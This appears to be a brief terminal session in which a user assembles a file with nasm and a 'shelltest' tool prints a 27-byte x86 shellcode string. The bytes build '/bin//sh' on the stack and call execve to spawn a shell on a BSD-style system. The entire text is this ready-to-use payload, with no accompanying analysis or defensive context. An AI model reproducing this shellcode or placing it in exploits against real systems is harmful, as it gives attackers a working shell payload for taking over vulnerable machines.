[tosh@localhost /usr/home/tosh]$ nasm -f elf test.s && shelltest test.o
Len : 27 bytes
Shellcode : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd\x80
$